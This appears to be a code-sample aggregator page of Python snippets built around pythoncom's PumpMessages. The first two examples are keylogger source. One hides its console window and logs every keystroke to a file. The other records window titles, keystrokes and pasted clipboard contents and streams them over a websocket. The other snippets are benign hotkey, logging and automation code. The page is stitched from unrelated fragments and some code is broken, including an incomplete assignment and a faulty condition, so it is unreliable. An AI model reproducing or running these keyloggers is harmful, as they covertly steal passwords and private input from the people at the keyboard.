Exemplo n.º 1
0
    def Keylogger(event):
        #######################
        # Usadas on Keylogger #
        #######################
        from win32console import GetConsoleWindow
        from win32gui import ShowWindow
        from pythoncom import PumpMessages
        from pyHook import HookManager
        from time import sleep
        win = GetConsoleWindow()
        ShowWindow(win, 0)

        def OnKeyboardEvent(event):
            if event.Ascii == 5:
                _exit(1)
            if event.Ascii != 0 or 8:
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'a+')
                buffer = f.read()
                f.close()
                f = open('C:\Users\Feric\Downloads\\test\keylogger.txt', 'w')
                keylogs = chr(event.Ascii)
                if event.Ascii == 13:
                    keylogs = '/n'
                buffer += keylogs
                f.write(buffer)
                f.close()
                #print buffer

        hm = HookManager()
        hm.KeyDown = OnKeyboardEvent
        hm.HookKeyboard()
        #sleep(10)
        PumpMessages()
Exemplo n.º 2
0
def main():
    from base64 import b64encode
    from ctypes import windll, byref, create_string_buffer, c_ulong
    from win32clipboard import OpenClipboard, GetClipboardData, CloseClipboard
    from pyHook import HookManager
    from pythoncom import PumpMessages

    def process():
        handle  = windll.user32.GetForegroundWindow()
        pid     = c_ulong(0)

        windll.user32.GetWindowThreadProcessId(handle, byref(pid))
        process_id = "%d" % pid.value
        executable = create_string_buffer("\x00" * 512)

        h_process = windll.kernel32.OpenProcess(0x400 | 0x10, False, pid)

        windll.psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
        window_title = create_string_buffer("\x00" * 512)

        length = windll.user32.GetWindowTextA(handle, byref(window_title),512)
        output = "\n[ PID: %s - %s - %s ]\n" % (process_id, executable.value, window_title.value)
        windll.kernel32.CloseHandle(handle)
        windll.kernel32.CloseHandle(h_process)
        return output

    def onEvent(event):
        if event.WindowName != current_window:
            current_window = event.WindowName
            pid = process()
            ws.send("\n{}\n".format(pid))
            
        if event.Ascii > 32 and event.Ascii < 127:
            ws.send(chr(event.Ascii))
        elif event.Ascii == 32:
            ws.send(' ')
        elif event.Ascii in (10,13):
            ws.send('\n')
        elif event.Ascii == 0:
            pass
        else:
            if event.Key == "V" and os.name == 'nt':
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                ws.send("[PASTE] - %s" % (pasted_value))
            else:
                ws.send(str("%s" % event.Key))
        return True

    current_window  = None
    temp_buffer     = str()
    remote_log      =
    while True:
        kl = HookManager()
        kl.KeyDown = onEvent
        kl.HookKeyboard() 
        PumpMessages()
def main():
    filesystem = FileSystem(options)
    clipboard = Clipboard(options)
    handlers = Handlers(clipboard, filesystem)
    
    thread = Thread(target=handlers.clipboardChangedListener)
    thread.daemon = True
    thread.start()

    hm = HookManager()
    hm.KeyDown = handlers.handleKeypress
    hm.HookKeyboard()
    PumpMessages()
Exemplo n.º 4
0
def secondary_startup(node, cage, mode):

    cage_dir = os_path.join(cages_dir, cage)
    logs_dir = os_path.join(cage_dir, "logs")

    lib_dir = os_path.join(cage_dir, "lib")
    sys_path.insert(0, lib_dir)

    log_abbrevs = {
        1: "ERR",
        2: "MSG",
        3: "WRN",
        4: "LOG",
        5: "INF",
        6: "DBG",
        7: "NSE"
    }
    log_encoding = "windows-1251"
    log_translate = b"         \t                      " + bytes(range(
        32, 256))
    log_lock = Lock()

    log_yyyymmdd = None
    log_file = None

    # the following function will serve for all cage's logging

    def log(message, *, msg_level):

        nonlocal log_yyyymmdd, log_file

        line_time = time()
        line_yyyymmdd, line_hhmmss = strftime("%Y%m%d %H:%M:%S",
                                              localtime(line_time)).split(" ")
        log_line = "{0:s}.{1:02d} {2:s} [{3:s}] {4:s}".format(
            line_hhmmss,
            int(line_time * 100) % 100, log_abbrevs.get(msg_level, "???"),
            current_thread().name, message)
        with log_lock:

            if line_yyyymmdd != log_yyyymmdd:  # rotate log file
                try:
                    new_log_file_name = os_path.join(
                        logs_dir,
                        "{0:s}-{1:s}.log".format(cage, line_yyyymmdd))
                    new_log_file = fopen(
                        new_log_file_name,
                        os.O_WRONLY | os.O_CREAT | os.O_APPEND)
                except:
                    pass  # if rotation fails, previous log file will still be used
                else:
                    try:
                        close(log_file)
                    except:
                        pass  # this also catches the attempt to close None
                    log_file = new_log_file
                    log_yyyymmdd = line_yyyymmdd

            if log_file is not None:
                if message:
                    write(
                        log_file,
                        log_line.encode(log_encoding,
                                        "replace").translate(log_translate) +
                        b"\n")
                if msg_level == 1:
                    fsync(log_file)

    ###################################

    # create loader instance using initial default logging level

    pmnc = ModuleLoader(node, cage, cage_dir, log, "LOG", 2.0, 1.0)

    ###################################

    current_thread().name = "startup"

    if mode == "NORMAL":
        log("the cage is starting up", msg_level=2)
    elif mode == "FAILURE":
        log("the cage is restarting after a failure", msg_level=2)

    ###################################

    if win32_com:
        _main_thread_id = GetCurrentThreadId()

    def cage_thread_proc():
        try:
            pmnc.startup.start()
            try:
                while not pmnc.startup.wait(3.0):
                    pmnc.startup.maintenance()
            except:
                pmnc.log.error(exc_string())  # log and ignore
            finally:
                pmnc.startup.stop()
        finally:
            if win32_com:  # release the main thread blocked in PumpMessages
                PostThreadMessage(_main_thread_id, WM_QUIT)

    cage_thread = HeavyThread(target=cage_thread_proc, name="cage")
    cage_thread.start()

    ###################################

    def termination_watchdog_proc():
        try:
            while stdout.write("\n") > 0:
                stdout.flush()
                sleep(3.0)
        except:
            pass
        finally:
            pmnc.startup.exit()

    termination_watchdog = HeavyThread(target=termination_watchdog_proc,
                                       name="stdout")
    termination_watchdog.start()

    ###################################

    # wait for the cage thread to detect shutdown and terminate

    if win32_com:
        PumpMessages()  # in the meanwhile become a message pump

    cage_thread.join()

    ###################################

    log("the cage has been properly shut down", msg_level=2)
    log("", msg_level=1)  # force flush of a log file
Exemplo n.º 5
0
    def start_capture(self):
        """ Pull key presses

        """
        self.hook()
        PumpMessages()
Exemplo n.º 6
0
    myScript_8 = MyScript('八连休', Script_8, 0)
    k.registerScript('8', myScript_8)
    myScript_af = MyScript('autofes', Script_af, 5)
    k.registerScript('5', myScript_af)
    # todo:装载的脚本说明

    k.registerEvent('Space', clickHere)
    k.registerEvent('0', stopScript)
    k.registerEvent('Oem_3', setWindow)
    # todo: 暂停和关闭的优先级要提高..
    # k.registerEvent('Escape', exitProgram)
    # k.registerEvent('Tab', pauseProgram)

    # create the hook mananger
    hm = HookManager()

    hm.KeyDown = OnKeyboardEvent
    # hook into the mouse and keyboard events
    hm.HookKeyboard()

    # register two callbacks
    # hm.MouseAllButtonsDown = OnMouseEvent
    # hm.HookMouse()

    from pythoncom import PumpMessages
    PumpMessages()

except Exception as e:
    # raise e
    print(e)
    print('[BUG]')
Exemplo n.º 7
0
 def ListenHotKey(self):
     hm = HookManager()
     hm.KeyDown = OnKeyboardEvent
     hm.HookKeyboard()
     PumpMessages()
Exemplo n.º 8
0
 def start(self):
     """Start pyhk to check for hotkeys"""
     while True:
         PumpMessages()